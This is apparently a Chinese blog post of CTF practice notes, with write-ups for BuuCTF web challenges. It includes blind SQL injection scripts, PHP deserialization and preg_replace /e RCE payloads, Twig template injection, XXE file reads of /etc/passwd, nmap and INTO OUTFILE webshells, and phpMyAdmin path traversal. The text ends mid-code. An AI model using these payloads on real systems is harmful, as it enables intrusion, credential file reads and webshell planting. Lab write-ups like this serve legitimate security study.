Web安全——BuuCTF刷题笔记2
本文最后更新于3 天前,其中的信息可能已经过时,如有错误请发送评论

前言

放纵了一段时间,现在重新回归日常,继续刷题,今天是2026年2月3日

这中间过年,加上杂七杂八的事情,到今天2月19日才写完上传,不过还顺带挖了一个edusrc,中危的

[CISCN2019 华北赛区 Day2 Web1]Hack World

解题思路:

开启靶机直接访问

告诉我们,想要的东西在flag表的flag列里面,然后让我们尝试给他一点信息,然后F12查看一下,没有什么其他的信息,那就对这个输入框进行测试,还是一样,先手工测几个payload:

1,2,3,0

3和0都是一样的结果,然后尝试一下注入语句:

1||1

看来存在过滤,然后测试一下其他的语句,发现有时候会返回 bool(false),这是返回结果,表示布尔值(假),那么就该想到布尔盲注,使用elt试试:

elt(1,1)

前者为条件,后者为返回的内容,1为真,所以会返回后面的1,如果输出的结果和前面直接输入1是一样的,就表明存在布尔盲注

没问题,说明思路正确,然后简单的尝试了几个其他的语句加上 Fuzz,当前判断出过滤了 || ,过滤了 /**/--+,不过阔号是没有过滤的,然后不使用分号或注释也能成功注入,所以接下来就可以构造爆破的语句了:

elt(length(database())>=1,1)
elt(length(database())>=20,1)

没问题,可以用来判断,这一步的作用是确定大于符号和length是否被过滤,要不然后续进行其他的操作不太好判断是过滤了什么,结合前面的提示,flag表和flag列,那么直接构造语句:

elt(length((select(flag)from(flag)))>=1,1)
elt(length((select(flag)from(flag)))>=45,1)

长度的范围是45以下,然后我们接下来就是爆破了,先用substr切第一个字符,然后用ascii比较,如果能够正确比较就可以使用脚本跑结果了:

elt(ascii(substr((select(flag)from(flag)),1,1))>=32,1)
elt(ascii(substr((select(flag)from(flag)),{i},1))>={mid},1)

好的,测试没问题,开始写python脚本:

import requests
import time

url = 'http://1d86be5f-8398-4819-a725-d5d7a81cf217.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1,45):
 low, high = 32, 126  
 while low <= high:
     mid = (low + high) // 2
     payload = f'elt(ascii(substr((select(flag)from(flag)),{i},1))>={mid},1)'
     data = {'id': payload}
     try:
         response = requests.post(url,data=data, timeout=10)
         if "glzjin" in response.text:
             low = mid + 1
         else:
             high = mid - 1   
     except:
         print("请求失败,重试...")
         time.sleep(1)
         continue
     time.sleep(0.1)
 final_ascii = high  
 char = chr(final_ascii)
 flag += char
 print(f"当前爆破结果: {flag}")  
print(f"最终爆破结果为:{flag}")  

还是一样的二分法,判断glzjin是否存在,运行结果如下:

最终爆破结果为:flag{affa008e-2f70-41e7-b552-8c84d00bf4b9}

成功夺旗!

[BSidesCF 2020]Had a bad day

解题思路:

还是一样,直接开启靶机

如上是翻译过后的内容,看看网页源代码,没看见什么有用的信息,然后点击两个按钮,发现左边的按钮都是狗狗的图片,右边的都是猫猫的图片,然后URL中多了一个参数category,这个参数要么是meowers要么是woofers,目前唯一的可能就是这是一个注入点,那么我们尝试用单引号看看

看这个报错信息,不像是SQL注入,但是带有关键词include,很明显是文件包含,既然如此肯定先包含一下index来看看具体的代码逻辑

提示仅仅支持那两个,那就是白名单喽,尝试绕过一下:

woofers/../index

发现没有问题,成功包含,但是陷入了无限嵌套,导致页面卡死了

不过证明思路没有问题,继续,看看能不能包含到根目录下的flag文件(猜的):

woofers/../../../../../flag

没猜对,然后又试了试当前目录,发现有变化了:

woofers/../flag

要么是注释,要么就是没有用到的变量,所以没有直接输出flag,那么使用伪协议读取一下看看:

php://filter/convert.base64-encode/resource=index

这里有个小坑,直接使用这个伪协议读取flag会提示只允许读取那两个白名单的文件,但是实际上是三个文件,还有一个index是可以直接读取的,读取后数据解码结果如下:

<?php
 $file = $_GET['category'];

 if(isset($file))
 {
     if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
         include ($file . '.php');
     }
     else{
         echo "Sorry, we currently only support woofers and meowers.";
     }
 }
?>

省去了html的部分,只保留了php的代码,然后就是代码审计,发现会检查是否有这三个字符串,有才会包含文件,那么直接构造语句绕过读取flag就可以了:

php://filter/convert.base64-encode/resource=woofers/../flag

因为前面我们已经想到可以使用woofers来绕过白名单,而这里检测使用的是strpos,是判断这个字符串在提交的参数里面是否存在,存在就会返回1,所以我们可以利用woofers/../flag,存在这个关键词,但是实际读取的是flag.php文件,然后将读取的base64数据解码一下

成功夺旗!

[网鼎杯 2020 朱雀组]phpweb

解题思路 :

直接开启题目看看

访问后稍微等了一会就警告了,不过直接爆出了路径,在/var/www/html/index.php这个路径,然后翻译一下报错的信息:

警告:date():依赖系统的时区设置是不安全的。你*必须*使用 date.timezone 设置或 date_default_timezone_set() 函数。如果你已经使用了这些方法但仍然收到此警告,很可能是时区标识符拼写错误。我们暂时选择了时区 'UTC',但请设置 date.timezone 以选择你的时区。 位于 /var/www/html/index.php 第 24 行
2026-02-04-08:03:45 上午

同时发现网站每隔一小会就会请求一次,那么抓包看看数据包

func大家都不陌生,是函数的意思,意思是用data函数,所以前面爆出了警告的信息,并且是直接传入函数名,那么考验的很有可能就是代码执行,先尝试一个简单的输出看看:

func=echo&p="123"

提交后返回了如下结果:

思路没问题,不过显示echo没找到,并且call_user_func()函数报错的,搜索引擎搜索一下:

php call_user_func

发现它是 PHP 中一个非常有用的函数,它允许你调用一个回调函数,并传递任意数量的参数,传入的函数好像是用户已经定义的才行,可是我们不知道啊,于是我有尝试使用其他的函数来获取一些信息,phpinfo返回了hacker,尝试其他的函数,var_dumpscandir等等,不过获取不到有用的信息,那就用文件读取函数file_get_contents,然后配合伪协议来读取内容,func是函数名,那么p多半就是函数传入的参数,可以使用如下payload测试:

func=var_dump&p='123'

构造文件读取的payload:

func=file_get_contents&p=php://filter/convert.base64-encode/resource=index.php

将数据解码一下,源代码如下:

<?php
 $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
 function gettime($func, $p) {
     $result = call_user_func($func, $p);
     $a= gettype($result);
     if ($a == "string") {
         return $result;
     } else {return "";}
 }
 class Test {
     var $p = "Y-m-d h:i:s a";
     var $func = "date";
     function __destruct() {
         if ($this->func != "") {
             echo gettime($this->func, $this->p);
         }
     }
 }
 $func = $_REQUEST["func"];
 $p = $_REQUEST["p"];

 if ($func != null) {
     $func = strtolower($func);
     if (!in_array($func,$disable_fun)) {
         echo gettime($func, $p);
     }else {
         die("Hacker...");
     }
 }
?>

代码还是很简单的,定义了一个类,一个方法,在析构方法调用时执行gettime方法的代码,然后func是函数名,p是参数,还有一种调用就是如果func不在这个数组里面也会调用gettime方法,在这个方法里面会判断类型,是字符串才会返回结果,但是能够看到这个数组判断是在析构方法之后的,也就是说只要在这之前触发就可以绕过黑名单判断执行其他的函数,所以我们可以构造一个序列化对象,然后使用反序列化函数和序列化数据来触发析构函数,然后执行命令:

func=unserialize&p=payload

接下来构造序列化的payload:

<?php

 class Test {
     var $p = "ls";
     var $func = "system";
 }

 $a = new Test();

 $b = serialize($a);

 echo $b;


?>

运行脚本,输出如下payload:

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

拼接后的完整payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

成功,不过没有我们想要的东西,去根目录看看:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

因为输入的内容有空格,为了完整的传参,这里对参数内容全部进行了URL编码,没有找到,那就直接查flag看看:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}

tmp目录下有个奇怪的名字,cat一下看看:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

成功夺旗!

[网鼎杯 2018]Fakebook

解题思路:

还是一样,直接开启靶机访问

在Fakebook上分享你的故事…啥的,然后查看一下网页源代码,发现除了login和join的跳转,其他都没什么,直接点击跳转看看

怎么感觉像二次注入呢,试试看,结果一直提示blog无效,没办法看了一下wp,发现需要目录扫描,我很不喜欢目录扫描,费时间,而且buuctf必须设置频率,要不然还扫不到,也是没招了:

200    46B   http://70bf6fe8-9783-4569-93c1-e5f7496cfcd6.node5.buuoj.cn:81/robots.txt
200  1019B   http://70bf6fe8-9783-4569-93c1-e5f7496cfcd6.node5.buuoj.cn:81/view.php

通过robots.txt发现一个static/secretkey.txt的文件,访问看一看,结果没有用,然后看了别人的wp发现还是扫漏了,服了,就没扫了,直接从别人那里看到的,有一个备份文件,路径如下:

/user.php.bak

还有一个flag.php的文件,然后将这个备份文件下载分析一下:

<?php

class UserInfo
{
 public $name = "";
 public $age = 0;
 public $blog = "";

 public function __construct($name, $age, $blog)
 {
     $this->name = $name;
     $this->age = (int)$age;
     $this->blog = $blog;
 }

 function get($url)
 {
     $ch = curl_init();

     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
     $output = curl_exec($ch);
     $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
     if($httpCode == 404) {
         return 404;
     }
     curl_close($ch);

     return $output;
 }

 public function getBlogContents ()
 {
     return $this->get($this->blog);
 }

 public function isValidBlog ()
 {
     $blog = $this->blog;
     return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
 }

}

isValidBlog,发现blog必须是http格式的,那么按照格式注册一个看看:

没问题,发现aaa成了超链接,点击一下看看,结果我一直卡在这一步,看了别人的wp发现都是跳转后操作,到我这压根动不了,后来又看了一个人的wp也是跳转不了,不过说可以直接尝试对view.php?no=进行注入,不影响,所以直接构造语句,因为是数字,所以先尝试这两个payload:

1 and 1=1
1 and 1=2

不过这里题目问题,没有注册账号,所以不管是那个payload都没有变化,所以直接爆破字段:

1 order by 1#
1 order by 2#
1 order by 3#
1 order by 4#
1 order by 5#

到5的时候页面有变化,说明字段数为4,联合查询获取一下回显位置,发现过滤了联合查询,不过可以尝试使用/**/绕过或者all绕过:

-1 union/**/select 1,2,3,4#
-1 union all select 1,2,3,4#

发现2回显了,构造payload获取表:

-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

获取列:

-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'#

获取数据:

-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users#

不过这里没有注册账号,所以没有数据,正常会返回一串序列化数据,看前面能够发现返回的内容里面有一个unserialize,所以考的是反序列化,不过靶机的问题,然后分析之前的php代码就能够发现:

$output = curl_exec($ch);

所以,我们可以控制我们的blog的地址为file://var/www/html/flag.php,然后就能够获取到flag,不过需要序列化数据,当然我这个靶机一旦注册了账号就无法访问,然后直接卡死,所以用的是第二种方法,爆破数据库你会发现:

-1 union/**/select 1,user(),3,4#

返回的是root用户,权限很高,我们可以直接用load_file来读取flag文件,并且因为之前泄露的路径,我们可以猜到flag的路径:

-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

成功夺旗!

[BJDCTF2020]The mystery of ip

解题思路:

这题一打开靶机就发现不是常规的网址,正常靶机的地址会非常长,一半简短的都是复现或者一些需要看wp才能知道的题目,除非做过,但是打开官方提供的wp没有找到对应的,所以直接搜索的相关文章,发现考验的是模板注入,和之前那个模板注入一样,不过这次是可以直接注入命令

话不多说还是打开靶机,发现有三个页面,看看flag页面

再看看hint页面

结合题目,猜测可能是ip的问题,抓取数据包添加X-Forwarded-For参数看看:

被成功执行,说明XFF可控,查阅资料可以知道:

  • Flask可能存在Jinjia2模版注入漏洞
  • PHP可能存在Twig模版注入漏洞

因为是php,所以是Twig模板注入

直接尝试一下payload看看:

{{7*7}}

可以,那就构造payload尝试执行系统命令:

{{system('ls')}}

查看flag文件的内容:

{{system('cat flag.php')}}

不过看了响应才反应过来,我当前访问的就是flag文件,所以肯定不是这个,需要我们切换目录去找一下才行,所以切换到根目录:

{{system('ls /')}}

可以看到根目录也有一个flag文件,查看一下:

{{system('cat /flag')}}

成功夺旗!

[BJDCTF2020]ZJCTF,不过如此

解题思路:

直接开启靶机访问

代码审计,两个参数,textfile,然后text是文本,必须内容为I have a dream,给我一种做过的感觉,直接使用data协议写入一个,然后提交text读取即可,然后翻我自己的博客的时候找到了[ZJCTF 2019]NiZhuanSiWei,和这题一样,都是text,不过文本内容不一样:

text=data://text/plain,I have a dream

没问题,继续,注释提示next.php文件,伪协议读取一下:

text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

解码一下,代码内容:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
 return preg_replace(
     '/(' . $re . ')/ei',
     'strtolower("\\1")',
     $str
 );
}


foreach($_GET as $re => $str) {
 echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

可以看到getFlag函数调用了eval,所以我们要触发这个函数的调用,这里直接phpinfo可以看到PHP版本是:5.6.40preg_replace()+/e存在代码执行漏洞,payload如下:

/?text=data://text/plain,I have a dream&file=next.php&\S*=${phpinfo()}

所以利用getFlag函数就可以执行想要执行的代码了:

/?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('ls /');

继续,获取flag:

/?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

成功夺旗!

如果你对这个漏洞感兴趣可以看看这两篇文章:preg_replace /e 模式 漏洞分析总结 – 猪猪侠的哥哥 – 博客园

PHP: preg_replace – Manual

preg_replace的语法:

preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

主要的原理就是pattern为/e修饰符的时候,replacement就会被当作php代码执行,所以如下代码:

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)

第二个参数会被当作php代码执行,不过这里使用了\\1:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数

说人话就是,\谁,就匹配第几个

通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?> 

如果提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行),那如果这样呢:

<?
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?> 
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会
因为经过正则匹配后,
replacement 参数变为'test("phpinfo")'
此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

有!

在这里我们如果提交?h=[php]{${phpinfo()}}[/php]
phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量
php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

那这有没有办法防御呢?

将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
总结
preg_replace \e 模式如果 replacement中是双引号的,那有此漏洞

来源于前面的那篇文章,然后知道原理之后再去看前面的payload可能就明白了:

foreach函数将参数和参数值分别给了$re和$str,$re作为正则表达式,$str作为要被替换的字符串

要执行上面的漏洞,要正则表达式和字符串匹配起来

于是,playload查看phpinfo

?\S*=${phpinfo()}
解释一下:\S意思为匹配所有的字符,一定要是大写S,大小写是有区别的

[\s]---表示,只要出现空白就匹配;

[\S]---表示,非空白就匹配;

所以利用前面的方法,就可以getshell,或者直接执行getFlag函数

[BUUCTF 2018]Online Tool

解题思路:

开启靶机直接访问

system 执行了系统命令,然后传入了 $host 这个参数,直接拼接在前一个语句的后面,关键点就在这,如何让我们的命令传到这个位置

倒推一下,用get提交host参数,然后经过了两个函数escapeshellargescapeshellcmd的处理,无非就是转义和过滤,那就想办法绕过,分析函数可以直接看官方的解释:

https://www.php.net/manual/zh/function.escapeshellarg.php
https://www.php.net/manual/zh/function.escapeshellcmd.php

可以看到,这个函数的主要作用是:给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号

举一个例子,正常来讲eval会将字符串里面的内容当作php代码执行,传入system("ls");会执行这个shell命令:

<?php
 $a="system('dir');";
 eval("echo $a".';');
?>

这里是windows系统,所以用的dir而不是ls

但是经过这个escapeshellarg函数的处理后,我们传入的system("ls");会被转义成字符串,从而不被执行:

<?php
 $a="system('dir');";
 $a=escapeshellarg($a);
 echo $a;                // 过滤后的内容
 echo "\n";
 $b = "echo $a".';';     
 echo $b;                // 拼接后的语句
 echo "\n";
 eval("echo $a".';');    // 实际执行的结果
?>

可以看到,输入的内容被加上双引号包裹,所以在拼接后,输入的内容被当作字符串直接输出在控制台

再看看另一个escapeshellcmd

可以看到这个函数是对字符进行转义,如果存在第二句话种的字符就会在前面插入反斜杠,单双引号会在不配对时进行转义

不过再往下翻可以看到如下内容:

一是escapeshellcmd函数可与传入任意数量的参数,二是不会对空格转义

单独使用这两个函数中的任意一个都不会有问题,或者先使用escapeshellcmd后使用escapeshellarg也不会有问题,因为这个使用顺序会将输入的特殊符号转义,然后再转义成字符串

但是如果先用escapeshellarg,然后再用escapeshellcmd就会存在漏洞,因为escapeshellarg的主要逻辑是用单引号包裹整个字符串,然后转义字符串中包含的单引号,而escapeshellcmd不会对单引号进行操作,所以就会导致单引号逃逸,不过我vscode的环境是php8,再加上是windows,所以直接运行,结果不对,害我看了半天,实际效果如下:

1' shell '
escapeshellarg >> '1'\'' shell '\'''
//原内容内部引号转义后的结果
1'\'' shell '\''
//如果字符串中包含单引号,就将其转义为:'\''
' 结束前面的引号
\' 是一个转义的单引号(字面量)
' 开始新的引号
//然后这个函数还会在最外层用一个单引号包裹
//所以结果为'1'\'' shell '\'''

escapeshellcmd函数又不会对这个单引号进行操作,所以导致shell逃逸出来了,然后是这个函数还可以传入任意数量的参数,所以我们就可以使用namp-oG参数来写入shell,这个参数的作用是将命令和结果写到文件

构造一下payload:

' <?php system($_GET["cmd"]); ?> -oG webshell.php '

前后要有空格,参考文献

然后再回头去看题目的源代码,是创建了一个沙箱目录,需要通过这个去访问webshell文件:

http://4cca3c4b-925c-490d-98c9-aa3cd32377d3.node5.buuoj.cn:81/e6305cd14dbe6e1fc4041d81cb3fc9ee/webshell.php

注意,这个沙箱ID是e6305cd14dbe6e1fc4041d81cb3fc9ee,后面那个Starts是扫描结果的内容,因为没有换行,所以写在一起了,我一开始以为是一起的,然后发现一直连接不上,后来细看了一下才发现,这个并不是沙箱ID,然后连接后发现根目录有一个flag文件,直接查看:

成功夺旗!

[GXYCTF2019]禁止套娃

考点:

  • 无参数RCE

解题思路:

直接开启靶机访问

查看页面源代码发现没有任何东西,F12-网络,看看响应头有没有什么信息,以及有没有隐式请求,发现只有一个请求,并且请求头中带有PHP版本

没有其他信息了,那就扫一下目录看看,如果没有敏感目录,那就只能是源码泄露,我没有扫描,因为太浪费时间了,直接看别人wp,发现是git源码泄露,那就直接用工具获取一下

这里用的GitHack,不过不知道为什么,之前用的那个工具一直获取的是空的,然后删了又去github上面下载的一遍别人的:

https://github.com/lijiejie/GitHack

然后发现有一个index.php的文件,打开看看:

<?php
 include "flag.php";
 echo "flag在哪里呢?<br>";
 if(isset($_GET['exp'])){
     if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
         if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
             if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                 // echo $_GET['exp'];
                 @eval($_GET['exp']);
             }
             else{
                 die("还差一点哦!");
             }
         }
         else{
             die("再好好想想!");
         }
     }
     else{
         die("还想读flag,臭弟弟!");
     }
 }
 // highlight_file(__FILE__);
?>

第一个判断很好绕过,就是不用伪协议

然后第二个匹配的意思是:exp 的值只能包含 小写字母_()等字符,其中的 (?R) 表示递归匹配,匹配到的内容会替换成空,也就是替换后的结果只剩下 ; 才会走里面的代码块,那么我们的payload只能是没有参数的:

a(); 可以
b(); 可以
a(b()); 可以
a("xxxx"); 不行
a(b("xxx")); 不行

第三个匹配et|na|info|dec|bin|hex|oct|pi|log,不能含有这些关键字

满足之后的payload才会被执行,那么肯定是要先获取目录,使用scandir,该函数可以获取指定路径的文件和目录,不过需要我们传入directory参数,表示要查看的目录,想要浏览当前目录,我们经常会使用 . 来表示

因为无法直接传入参数,只能使用函数来获取,所以我们需要找一个返回.的函数,这个函数就是localeconv(),它会返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”,我们可以通过var_dump(localeconv());来查看:

可以发现localeconv()函数返回的数组中的第一个元素是.,所以我们接下来就是读取这个元素,然后传给scandir,正常来讲,想要读取一个数组的元素我们会使用current

当然也可以使用pos函数,它们默认返回的都是第一个元素,关键是我看别人wp发现说是current被正则过滤了,但是我自己使用却完全没有问题,搞不懂

然后我的payload如下:

var_dump(scandir(current(localeconv())));

可以看到成功读取到了,接下来就是读取flag.php文件,不过flag.php不是头也不是尾,而是倒数第二个元素,想要读取又无法传入参数,那就只能想别的办法了

PHP 有一个next()函数,它会将内部指针指向数组中的下一个元素,并输出

那么我们只要倒转整个数组,然后使用next()就是flag.php

在 PHP 中,可以使用 array_reverse() 函数来反转数组的顺序

至于怎么读取,直接使用highlight_file()或者show_source()等函数就好了

接下来就可以构造payload了:

highlight_file(next(array_reverse(scandir(current(localeconv())))));

成功夺旗!

[NCTF2019]Fake XML cookbook

解题思路:

直接开启靶机访问

一个登录框,试了试弱口令发现没用,然后又看了下标题,搜索了一下,发现是xxe攻击,因为我也是第一次接触,所以是看着别人的教程做的

XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的

XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE people [  <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)>  <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)>     <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>   <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)>   <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>

DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

<!DOCTYPE 根元素 [定义内容]>

内部实体声明

格式如下:

<!ENTITY 实体名 "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下:

<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root>

外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体

普通实体声明格式如下:

<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

例如:

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范

既然知道了xxe攻击的原理,接下来就是构造payload,因为这里请求的dataType:是xml,所以我们直接抓包修改:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE payload [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>

成功夺旗!

[GWCTF 2019]我有一个数据库

解题思路:

开启靶机直接访问

乱码,然后随便访问一个路径,ubuntu的系统,apache 2.4.29

查看网页源代码,查看请求体,查看响应体也没有发现什么有用的信息,又得扫描目录了,最烦的就是这种,浪费时间

然后扫描出两个结果,都是phpmyadmin的,访问看看

发现直接访问成功,甚至没有要求输入密码,打开看了一下,发现没有其他数据库和其他表,那就试试直接执行SQL语句读取/flag,发现没有结果,那就试试写入webshell:

select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/webshell.php';

权限不够,那怎么办,看看别人的wp,发现我目录扫描还漏了一个phpinfo.php文件,服了

不过好在影响不大,这题考验的是phpmyadmin版本的漏洞

参考文献:

https://www.cnblogs.com/LoYoHo00/articles/15460386.html
https://www.jianshu.com/p/fb9c2ae16d09

学习后,知道可以通过这个payload来读取文件:

/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd  

接下来读取一下flag文件:

/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

成功夺旗!

像这种历史版本的漏洞,你很难全部记住,只要有个印象就可以了,或者知道怎么构造payload也可以,具体的可以参考前面的两个文章

[BJDCTF2020]Mark loves cat

解题思路:

开启靶机直接访问

访问后发现是一个博客,像这种类实战项目,目录扫描肯定是要有的,不过我真不太想扫描,看别人wp学了一招,总结几个常见的直接用burpsuite跑,然后这题是git泄露,所以还是直接上githack工具

资源文件非常多,不过找到一个index.php和flag.php文件,打开看看:

flag.php:

<?php

$flag = file_get_contents('/flag');

所以flag路径在/flag

index.php:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
 $$x = $y;
}

foreach($_GET as $x => $y){
 $$x = $$y;
}

foreach($_GET as $x => $y){
 if($_GET['flag'] === $x && $x !== 'flag'){
     exit($handsome);
 }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
 exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
 exit($is);
}



echo "the flag is: ".$flag;

html的部分非常多,直接省略了,直接看php代码,我一开始的想法是走最后的echo输出,但是前面的条件逐一绕过想不通,然后看了别人的wp提示才发现可以用exit输出,并且前面存在变量覆盖漏洞,什么是变量覆盖?

变量覆盖指的是可以用我们的传参值替换程序原有的变量值,变量覆盖可以让我们修改某些关键变量的值,可能造成越权访问、写入webshell等危害

上面这个代码中如下部分:

foreach($_GET as $x => $y){
 $$x = $$y;
}

将get提交的请求赋值给x和y,例如:

https://xx.xx.xx/?a=b

处理后就是$x = a , $y = b

而这个$$就是存在变量覆盖漏洞的一种,我们可以利用它来覆盖,这个代码还是用上面的例子,意思如下:

foreach($_GET as $x => $y){
 $$x = $$y;
}

处理后的结果是 $a = $b

如果这个时候$a是原有的变量($yds=$b),比如这几个:

$yds = "dog";
$is = "cat";
$handsome = 'yds';

那么我们给这几个变量赋值,实际上是给这几个原有的变量的值覆盖了,赋给了它们新的值,比如:

$yds = "dog";

https://xx.xx.xx/?yds=is

foreach($_GET as $x => $y){
 $$x = $$y;
}

$yds = $is;
$yds = "cat";

可以看到输出了cat,好的确是覆盖了,可为什么会输出cat呢?

exit里面传入字符串,在脚本结束时就会打印这个字符串,再来看代码:

foreach($_GET as $x => $y){
 if($_GET['flag'] === $x && $x !== 'flag'){
     exit($handsome);
 }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
 exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
 exit($is);
}

三个exit,输出的是$yds的值,所以我们触发了中间的这个exit,从而输出了cat

这个脚本开头包含了flag.phpflag.php又读取了flag给这个变量:

$flag = file_get_contents('/flag');

所以可以直接在这个脚本中调用$flag来读取flag的内容,那么思路就有了,我们可以让变量flag的值覆盖变量yds的值,这样,输出的就是flag了,所以payload如下:

?yds=flag

同样,另外两处 exit只要能满足条件,同样可以覆盖并输出,这里就不演示了

其他变量覆盖:参考文献

成功夺旗!

[WUSTCTF2020]朴实无华

解题思路:

直接开启靶机访问

查看网页源代码,响应头,都没发现什么有用的信息,那就直接目录扫描吧,结果啥也没扫描出来,看了别人的wp才知道,因为标题是乱码,换编码之后才能看到,显示的是人间极乐bot,然后通过这个bot联想到robots,离谱了,关键是我目录扫描没有扫描到这个,然后访问一下robots.txt文件

继续,访问这个文件看看

访问后提示flag不在这,联想到之前的报错提示,其中有个关键词header(我当时看见这个第一时间就看过响应头,结果没有收获),然后访问这个页面发现请求头里面多了一个,是fl4g.php,访问看看

我edge打开就是乱码,并且找不到编码修复的按钮,只好换成火狐浏览器,然后右键打开菜单栏,然后在查看里面选择修复编码,然后代码如下:

<?php
